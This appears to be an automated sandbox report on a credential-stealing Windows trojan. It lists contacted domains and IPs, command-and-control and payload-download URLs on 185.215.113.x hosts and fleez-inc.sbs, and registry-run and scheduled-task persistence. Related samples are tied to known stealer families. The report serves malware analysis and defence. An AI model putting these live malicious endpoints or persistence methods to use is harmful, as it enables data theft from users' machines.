thicktoys.sbs	true	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
faintbl0w.sbs	true	Avira URL Cloud: safe	unknown
185.215.113.206/c4becf79229cb002.php	false		high
https://sb.scorecardresearch.com/b2?rn=1731427672060&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3396E73AB3A068C604AEF20FB2F769BB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
3xc1aimbl0w.sbs	true	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731427675454&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731427675164&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
300snails.sbs	true	Avira URL Cloud: safe	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731427672058&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://c.msn.com/c.gif?rnd=1731427672060&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=456cae4d87b64b2da7cf8c972fa982c5&activityId=456cae4d87b64b2da7cf8c972fa982c5&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=979A5BD9CF9646E4BEFD6D50889CD033&MUID=3396E73AB3A068C604AEF20FB2F769BB	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	false		high
https://fleez-inc.sbs/apiata%	3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_473.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log9.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php3x	file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpltHOMEDRIVE=C:HO	file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://fleez-inc.sbs/apiR9pg	3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005657000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		high
https://fleez-inc.sbs/-	3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_475.5.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
https://www.instagram.com	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://fleez-inc.sbs/	3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://www.messenger.com	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://www.deezer.com/	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://web.telegram.org/	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.16/steam/random.exe6139	skotes.exe, 0000001A.00000002.3476941425.000000000123A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AECAECFCAAEBFHIEHDGH.0.dr	false		high
http://185.215.113.16/luma/random.exe6	skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	3cb3eea49a.exe, 0000001C.00000003.3467482962.0000000005693000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com	1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2721838299.0000000000335000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://plus.google.com	chromecache_475.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.php9	file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://msn.comXIDv10	3cb3eea49a.exe, 0000001C.00000003.3450943467.0000000005668000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451221963.000000000564A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451047913.000000000564A000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpM	file.exe, 00000000.00000002.2723107847.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://fleez-inc.sbs:443/api	3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	false		high
https://clients6.google.com	chromecache_475.5.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php;(	skotes.exe, 0000001A.00000002.3476941425.000000000120E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.245.60.72	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.0.123	fleez-inc.sbs	United States	13335	CLOUDFLARENETUS	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.198.7.168	unknown	United States	20940	AKAMAI-ASN1EU	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
23.47.50.173	unknown	United States	16625	AKAMAI-ASUS	false
108.156.211.59	unknown	United States	16509	AMAZON-02US	false
142.250.186.78	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.70.79.200	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
131.253.33.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
23.221.22.213	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554565
Start date and time:	2024-11-12 17:06:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@82/304@33/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 172.217.18.110, 74.125.71.84, 34.104.35.123, 142.250.186.163, 142.250.186.74, 142.250.186.106, 142.250.186.42, 142.250.185.138, 216.58.212.138, 142.250.185.202, 172.217.16.202, 142.250.185.74, 172.217.18.10, 142.250.184.202, 172.217.18.106, 142.250.186.138, 142.250.185.234, 142.250.186.170, 142.250.185.170, 142.250.181.234, 192.229.221.95, 172.217.16.138, 216.58.206.42, 142.250.74.202, 216.58.206.74, 142.250.185.106, 142.250.184.234, 93.184.221.240, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.18.14, 13.107.6.158, 20.93.72.182, 2.19.126.152, 2.19.126.145, 172.205.80.42, 2.16.164.64, 2.16.164.74, 2.23.209.148, 2.23.209.141, 2.23.209.135, 2.23.209.150, 2.23.209.149, 2.23.209.133, 2.23.209.176, 2.23.209.158, 2.23.209.140, 2.23.209.177, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.38.98.121, 23.38.98.119, 23.38.98.117, 23.38.98.114, 23.38.98.74, 23.38.98.118, 23.38.98.71, 23.38.98.73, 23.38.98.120, 2.23.209.185, 2.23.209.181, 2.2
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, prod-agic-ne-8.northeurope.cloudapp.azure.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skyp
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:07:49	API Interceptor	126x Sleep call for process: file.exe modified
11:09:01	API Interceptor	207x Sleep call for process: skotes.exe modified
11:09:17	API Interceptor	4x Sleep call for process: 3cb3eea49a.exe modified
17:08:10	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:09:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3cb3eea49a.exe C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe
17:09:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3cb3eea49a.exe C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.245.60.72	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse
	https://www.canva.com/design/DAGKpnKj4ws/mV0kEuC99HToqQojoQPKQw/edit?utm_content=DAGKpnKj4ws&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Tycoon2FA	Browse
	https://www.canva.com/design/DAGKvfgHLEw/lq2uUi7oayElKV-yFjGgXQ/edit	Get hash	malicious	HTMLPhisher	Browse
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
fleez-inc.sbs	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
fleez-inc.sbs	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	18.245.60.53
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.65.39.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.65.39.28
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
